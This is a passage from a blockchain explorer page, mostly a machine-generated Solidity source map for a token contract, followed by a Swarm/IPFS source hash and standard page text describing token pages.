;;20085:21;;20109:16;;;;;;;;;;-1:-1:-1;20109:16:0;20085:40;;20154:4;20136;20141:1;20136:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20136:23:0;;;:7;;;;;;;;;;:23;;;;20180:15;;:22;;;-1:-1:-1;;;20180:22:0;;;;:15;;;;;:20;;:22;;;;;20136:7;;20180:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20170:4;20175:1;20170:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20170:32:0;;;:7;;;;;;;;;:32;20245:15;;20213:62;;20230:4;;20245:15;20263:11;20213:8;:62::i;:::-;20286:15;;:197;;-1:-1:-1;;;20286:197:0;;-1:-1:-1;;;;;20286:15:0;;;;:66;;:197;;20367:11;;20286:15;;20410:4;;20437;;20457:15;;20286:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20072:419;20017:474;:::o;19519:120::-;19604:23;;-1:-1:-1;;;;;19604:15:0;;;:23;;;;;19620:6;;19604:23;;;;19620:6;19604:15;:23;;;;;;;;;;;;;;;;;;;;;19519:120;;:::o;17184:287::-;17228:8;;:13;:31;;;;-1:-1:-1;17245:9:0;;:14;17228:31;:50;;;;-1:-1:-1;17263:10:0;;:15;17228:50;17225:62;;;17184:287::o;17225:62::-;17312:9;;;17299:10;:22;17347:10;;;17333:11;:24;17381:8;;;17369:9;:20;-1:-1:-1;17400:13:0;;;;17424:14;;;;17449:12;17184:287::o;20855:615::-;20958:25;20985:19;21008:26;21019:14;21008:10;:26::i;:::-;-1:-1:-1;;;;;21065:17:0;;;;;;:9;:17;;;;;;20957:77;;-1:-1:-1;20957:77:0;-1:-1:-1;21065:37:0;;21087:14;21065:21;:37::i;:::-;-1:-1:-1;;;;;21045:17:0;;;;;;;:9;:17;;;;;;;;:57;;;;21182:139;;21203:14;;;;;;;;21185:37;;;21203:14;;;21186:32;;:15;:32;;;;;;;;21185:37;;21182:139;;;21185:37;;;21182:139;;;21184:130;;21308:6;;;;;;;;;-1:-1:-1;21308:6:0;;;;21184:130;;;21226:79;;;21277:22;;;;;21226:79;;;;21277:22;;;21236:35;;;;;;;;21237:30;21236:35;;;;21226:79;;;21228:72;;21277:22;21228:48;:72::i;:::-;21226:79;;;21184:130;21182:139;;;-1:-1:-1;;;;;21136:20:0;;21317:3;21136:20;;;:9;21182:139;21136:20;;;;;:43;;21161:17;21136:24;:43::i;:::-;:185;;;;:::i;:::-;-1:-1:-1;;;;;21113:20:0;;;;;;:9;:20;;;;;;:208;;;;21377:4;21359:24;;;;:41;;21388:11;21359:28;:41::i;:::-;21350:4;21332:24;;;;:9;:24;;;;;;;;;:68;;;;21416:46;1819:25:1;;;-1:-1:-1;;;;;21416:46:0;;;;;;;;;;1792:18:1;21416:46:0;;;;;;;20946:524;;20855:615;;;:::o;17485:176::-;17531:9;;17520:8;:20;17559:10;;17547:9;:22;17590:63;;;17592:16;;;;;17593:11;;17590:63;;;17592:16;;;17590:63;;17610:28;;17592:16;17610:28;;;;;;17622:11;;17590:63;;;;;17610:28;;17611:23;;-1:-1:-1;;;17622:11:0;;;;17611:10;:23::i;:::-;17610:28;;;17590:63;;17641:11;;-1:-1:-1;;;17641:11:0;;;;17590:63;;;;;;;:::i;:::-;;;;;17577:10;:76;17485:176::o;21480:272::-;21546:7;21555;21575:19;21621:3;21612:8;;21597:14;:23;;;;:::i;:::-;:27;;;;:::i;:::-;21575:49;-1:-1:-1;21635:25:0;21663:31;:14;21575:49;21663:18;:31::i;:::-;21635:59;21732:11;;-1:-1:-1;21480:272:0;;-1:-1:-1;;;21480:272:0:o;2185:98::-;2243:7;2270:5;2274:1;2270;:5;:::i;19647:115::-;19706:7;19732:22;;;;;;;;19740:8;19733:4;:15;;;;:::i;:::-;19732:22;;;;;-1:-1:-1;;19647:115:0:o;238:548:1:-;350:4;379:2;408;397:9;390:21;440:6;434:13;483:6;478:2;467:9;463:18;456:34;508:1;518:140;532:6;529:1;526:13;518:140;;;627:14;;;623:23;;617:30;593:17;;;612:2;589:26;582:66;547:10;;518:140;;;522:3;707:1;702:2;693:6;682:9;678:22;674:31;667:42;777:2;770;766:7;761:2;753:6;749:15;745:29;734:9;730:45;726:54;718:62;;;;238:548;;;;:::o;791:131::-;-1:-1:-1;;;;;866:31:1;;856:42;;846:70;;912:1;909;902:12;846:70;791:131;:::o;927:315::-;995:6;1003;1056:2;1044:9;1035:7;1031:23;1027:32;1024:52;;;1072:1;1069;1062:12;1024:52;1111:9;1098:23;1130:31;1155:5;1130:31;:::i;:::-;1180:5;1232:2;1217:18;;;;1204:32;;-1:-1:-1;;;927:315:1:o;1855:456::-;1932:6;1940;1948;2001:2;1989:9;1980:7;1976:23;1972:32;1969:52;;;2017:1;2014;2007:12;1969:52;2056:9;2043:23;2075:31;2100:5;2075:31;:::i;:::-;2125:5;-1:-1:-1;2182:2:1;2167:18;;2154:32;2195:33;2154:32;2195:33;:::i;:::-;1855:456;;2247:7;;-1:-1:-1;;;2301:2:1;2286:18;;;;2273:32;;1855:456::o;2713:247::-;2772:6;2825:2;2813:9;2804:7;2800:23;2796:32;2793:52;;;2841:1;2838;2831:12;2793:52;2880:9;2867:23;2899:31;2924:5;2899:31;:::i;2965:388::-;3033:6;3041;3094:2;3082:9;3073:7;3069:23;3065:32;3062:52;;;3110:1;3107;3100:12;3062:52;3149:9;3136:23;3168:31;3193:5;3168:31;:::i;:::-;3218:5;-1:-1:-1;3275:2:1;3260:18;;3247:32;3288:33;3247:32;3288:33;:::i;:::-;3340:7;3330:17;;;2965:388;;;;;:::o;3358:380::-;3437:1;3433:12;;;;3480;;;3501:61;;3555:4;3547:6;3543:17;3533:27;;3501:61;3608:2;3600:6;3597:14;3577:18;3574:38;3571:161;;3654:10;3649:3;3645:20;3642:1;3635:31;3689:4;3686:1;3679:15;3717:4;3714:1;3707:15;3571:161;;3358:380;;;:::o;4511:127::-;4572:10;4567:3;4563:20;4560:1;4553:31;4603:4;4600:1;4593:15;4627:4;4624:1;4617:15;4643:168;4716:9;;;4747;;4764:15;;;4758:22;;4744:37;4734:71;;4785:18;;:::i;4816:217::-;4856:1;4882;4872:132;;4926:10;4921:3;4917:20;4914:1;4907:31;4961:4;4958:1;4951:15;4989:4;4986:1;4979:15;4872:132;-1:-1:-1;5018:9:1;;4816:217::o;6603:127::-;6664:10;6659:3;6655:20;6652:1;6645:31;6695:4;6692:1;6685:15;6719:4;6716:1;6709:15;6735:125;6800:9;;;6821:10;;;6818:36;;;6834:18;;:::i;6865:175::-;6902:3;6946:4;6939:5;6935:16;6975:4;6966:7;6963:17;6960:43;;6983:18;;:::i;:::-;7032:1;7019:15;;6865:175;-1:-1:-1;;6865:175:1:o;7177:251::-;7247:6;7300:2;7288:9;7279:7;7275:23;7271:32;7268:52;;;7316:1;7313;7306:12;7268:52;7348:9;7342:16;7367:31;7392:5;7367:31;:::i;7433:980::-;7695:4;7743:3;7732:9;7728:19;7774:6;7763:9;7756:25;7800:2;7838:6;7833:2;7822:9;7818:18;7811:34;7881:3;7876:2;7865:9;7861:18;7854:31;7905:6;7940;7934:13;7971:6;7963;7956:22;8009:3;7998:9;7994:19;7987:26;;8048:2;8040:6;8036:15;8022:29;;8069:1;8079:195;8093:6;8090:1;8087:13;8079:195;;;8158:13;;-1:-1:-1;;;;;8154:39:1;8142:52;;8249:15;;;;8214:12;;;;8190:1;8108:9;8079:195;;;-1:-1:-1;;;;;;;8330:32:1;;;;8325:2;8310:18;;8303:60;-1:-1:-1;;;8394:3:1;8379:19;8372:35;8291:3;7433:980;-1:-1:-1;;;7433:980:1:o;8418:128::-;8485:9;;;8506:11;;;8503:37;;;8520:18;;:::i

Swarm Source

ipfs://f59b4983958b34f25c43de00cdd6fa355c477989805b6647e9c7c7f443b55fa1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.